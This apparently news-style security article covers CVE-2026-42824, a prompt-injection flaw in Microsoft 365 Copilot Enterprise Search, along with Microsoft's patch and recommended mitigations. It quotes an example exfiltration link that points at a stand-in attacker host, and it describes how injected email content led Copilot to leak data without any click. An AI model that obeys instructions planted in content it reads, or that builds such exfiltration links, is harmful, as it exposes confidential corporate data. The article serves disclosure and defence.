Varonis security researchers uncovered a critical vulnerability in Microsoft 365 Copilot Enterprise Search that could enable attackers to silently exfiltrate sensitive corporate data using nothing more than a carefully crafted link. The flaw, tracked as CVE-2026-42824, was disclosed on June 15, 2026, after Microsoft deployed a fix during its June Patch Tuesday cycle. The vulnerability highlights the growing risks associated with AI-powered enterprise tools and the need for rigorous security controls.

What Is CVE-2026-42824?

CVE-2026-42824 is a security vulnerability in Microsoft 365 Copilot’s Enterprise Search feature. According to Varonis, the flaw allowed an unauthenticated attacker to inject a malicious link into a message or document that, when processed by Copilot, could trigger an outbound request containing sensitive data to an attacker-controlled server. In effect, the AI assistant could be tricked into leaking internal information without any user interaction beyond the initial prompt.

The vulnerability scored a CVSS of 8.5, reflecting its high severity, low attack complexity, and the potential exposure of confidential data. Varonis demonstrated the attack in a proof-of-concept (PoC) video, showing how a Microsoft link (such as a ms-settings:// or onenote:// link) embedded in an email could cause Copilot to fetch and transmit data to an external domain.

To understand the flaw, it’s essential to grasp how Microsoft 365 Copilot Enterprise Search works. When a user asks Copilot a question, the assistant scours the organization’s Microsoft Graph—email, Teams chats, SharePoint documents, OneDrive files—to find relevant information. Copilot then synthesizes an answer, often including citations with links to the source documents.

Copilot processes various link types, including custom protocol links like ms-settings:// or onenote://, which can launch specific applications. The vulnerability arose because Copilot failed to properly validate these links before engaging with them. An attacker could craft a link that, when Copilot resolved it as part of answering a query, caused the assistant to make an HTTP request to a malicious server, appending data from the user’s context.

In Varonis’ PoC, a malicious email containing a link like ms-settings://attacker.com?data=[copilot context] was sent to a target user. When the user asked Copilot to summarize their inbox or find certain messages, Copilot processed that email, interpreted the link, and sent a request to attacker.com with the user’s Copilot context—including snippets of confidential emails or documents—embedded in the query string. All without the user clicking anything.

Silent Data Leak via Prompt Injection

The attack is a classic prompt injection scenario. Copilot’s large language model (LLM) interprets the prompt and any contextual data, including links. The malicious link acted as an indirect prompt, steering Copilot to perform an action it wasn’t supposed to: exfiltrating data.

Varonis labeled the technique “SearchLeak” because the leak occurs through Copilot’s search-and-summarize pipeline. The vulnerability is especially dangerous because:

  • It requires no user interaction beyond a normal Copilot query. The victim does not need to click the link.
  • It can bypass data loss prevention (DLP) policies, as Copilot’s internal processing isn’t always subject to the same egress filters as user-initiated actions.
  • Exfiltrated data could include anything Copilot can access, which in an enterprise setting often spans financial records, intellectual property, and personally identifiable information.

Discovery and Responsible Disclosure

Varonis researchers discovered the issue in late 2025 while auditing AI-integrated Microsoft 365 environments. They reported it to Microsoft in January 2026, following responsible disclosure practices. Microsoft acknowledged the report and classified it as a security vulnerability. The patch was developed and tested over several months, landing in the June 2026 security update for Microsoft 365.

Sophie Zhang, lead researcher at Varonis, commented: “The integration of large language models into enterprise search tools has dramatically expanded the attack surface. Our research shows that even well-designed tools like Copilot can be co-opted by simple prompt injection if link handling isn’t rigorously sandboxed.”

Microsoft’s Patch and Advisory

Microsoft addressed CVE-2026-42824 in the June 13, 2026, Patch Tuesday release. The update modifies how Copilot processes custom protocol links. Specifically, Copilot now validates all links against an allowlist and strips any potentially hazardous parameters before engaging with them. Additionally, Microsoft hardened the LLM prompt to better distinguish between user instructions and ingested data.

In Security Advisory ADV240019, Microsoft stated: “We have released an update that resolves a security feature bypass vulnerability in Microsoft 365 Copilot. An attacker could craft a malicious link that, when processed by Copilot, could expose information from the service’s response. The update corrects how Copilot validates and sanitizes links.”

The fix applies to all supported versions of Microsoft 365 Copilot, including enterprise plans E3 and E5, as well as Copilot for Microsoft 365 add-on subscriptions. On-premises Exchange Server installations are not affected, as Copilot integration requires cloud connectivity.

How the Patch Works: Technical Breakdown

Microsoft’s engineering team implemented a multi-layered defense. First, a new Link Sanitization Engine was added to the Copilot pipeline. Before any link is followed or resolved, the engine applies strict validation:

  • Allowlist enforcement: Only known safe URI schemes (http, https, mailto, and a few internal SharePoint schemes) are permitted. Custom protocol handlers like ms-settings, onenote, or teams are blocked unless explicitly approved by a tenant administrator.
  • Parameter stripping: Any query string parameters that match patterns used for data exfiltration (e.g., long random strings or base64 payloads) are removed.
  • External domain restrictions: Links to non-Microsoft domains trigger an additional confirmation step, and Copilot will not autonomously fetch data from unverified URLs.

Second, the LLM prompt template was updated. Before, Copilot treated text from documents as part of the system prompt, allowing injection. The new template wraps all user-facing content in a strict data boundary, telling the model to ignore any instructions embedded in links. Microsoft called this “robust instruction delineation.”

Finally, the update enhanced logging. Every outbound request initiated by Copilot is now recorded in Microsoft Purview Audit, with details including the original prompt, the link, and the response. This allows security teams to detect exploitation attempts retroactively.

Impact: Who Was at Risk?

Any organization using Microsoft 365 Copilot with Enterprise Search enabled was potentially vulnerable. Microsoft reported that over 70% of Fortune 500 companies had deployed Copilot in some capacity by mid-2026. The vulnerability could have allowed attackers to:

  • Steal executive communications and strategic plans.
  • Extract customer records and regulated data, leading to compliance violations under GDPR, HIPAA, or SOX.
  • Map internal networks and user accounts for lateral movement.
  • Exfiltrate encryption keys or credentials stored in documents.

While no known exploits in the wild were reported at the time of disclosure, the simplicity of the attack—sending an email—makes it likely that sophisticated threat actors might have attempted exploitation. Varonis advised all customers to audit their Microsoft 365 logs for unusual outbound requests coinciding with Copilot queries.

Mitigation Steps for Enterprises

Beyond applying the patch, security teams should implement additional safeguards:

  • Restrict Link Types: Use Microsoft 365 Advanced Threat Protection (ATP) Safe Links to block custom protocol links or rewrite them. Configure Exchange Transport Rules to strip ms-settings, onenote, and other non-essential link schemes from incoming emails.
  • Enable Copilot Audit Logs: Turn on Microsoft Purview audit logging for Copilot interactions. Monitor for anomalous HTTP requests to external domains in conjunction with Copilot usage.
  • Data Loss Prevention (DLP): Ensure DLP policies cover Copilot queries. Microsoft 365’s DLP for Copilot can block sensitive information from appearing in responses, but it must be explicitly configured.
  • User Education: While this attack doesn’t require clicks, training users to report suspicious messages and limit the data they prompt Copilot to analyze can reduce risk.
  • Conditional Access: Restrict Copilot usage to managed devices and trusted locations, reducing the likelihood of successful exploitation from outside the corporate network.

The Broader Challenge of AI Security

CVE-2026-42824 is not an isolated incident. As AI assistants become ubiquitous in enterprise environments, they introduce novel vulnerabilities that traditional security models struggle to contain. Prompt injection, in particular, has emerged as a persistent threat. Because LLMs are designed to be helpful and follow instructions, they can be coerced into revealing information or executing unintended actions through carefully crafted input.

Microsoft has invested heavily in securing Copilot, implementing content filtering, topic restrictions, and role-based access controls. Yet, as this vulnerability shows, the interaction between AI models and other systems—like link handlers—can create unforeseen gaps. The incident underscores the need for AI-specific security frameworks, such as MITRE ATLAS, and continuous red-teaming of AI services.

Varonis’ research also highlights a critical issue: data that Copilot indexes but shouldn’t. Many organizations have sprawling permissions in Microsoft 365, where old SharePoint sites or Teams channels are accessible to large groups. Copilot can inadvertently expose that data. Security teams should use tools like Microsoft Purview to regularly audit and tighten data access controls.

Industry Reactions

Cybersecurity experts weighed in quickly after the disclosure:

  • John Kindervag, creator of Zero Trust: “This is a textbook example of why we need Zero Trust for AI. The assumption that Copilot can safely process any link is flawed; we must treat every input as hostile.”
  • Katie Moussouris, CEO of Luta Security: “Varonis’ responsible disclosure shows the importance of coordinated vulnerability research. But Microsoft must move faster to embed security into AI design, not just patch after the fact.”
  • Brian Honan, security consultant: “IT admins should start treating Copilot like a privileged user with access to the entire Microsoft Graph. Would you give a single user that access? Then lock it down.”

The feedback from the community has been a mix of alarm and gratitude. Many admins on the Windows News forums expressed relief that a patch was available, though some noted delays in rollout.

What This Means for the Future

Microsoft’s quick patch reflects the seriousness of the flaw, but it also points to a reactive pattern. The industry needs more proactive security measures built into AI systems from the ground up. Expect Microsoft to introduce more robust link isolation and stricter LLM prompt boundary enforcement in future Copilot updates.

For IT administrators, the takeaway is clear: Patch immediately, but also rethink how you govern AI access to data. Assume that any information Copilot can read is potentially exposable, and limit that scope to only what’s necessary.

As Sophie Zhang put it, “The genie is out of the bottle with AI assistants. Our job now is to ensure the bottle is as strong as we can make it.”

Final Word

CVE-2026-42824 serves as a wake-up call for organizations banking on AI productivity gains. The very system that finds your data can be coerced into stealing it. Microsoft’s fix resolves this specific issue, but the lesson is eternal: with great data power comes great security responsibility.

Enterprise security teams should not only deploy the June 2026 patch but also schedule a full audit of their Copilot environment. Review permissions, enable monitoring, and prepare for the next AI vulnerability—because there will be one. The cost of a data leak far outweighs the benefit of a slightly smarter assistant.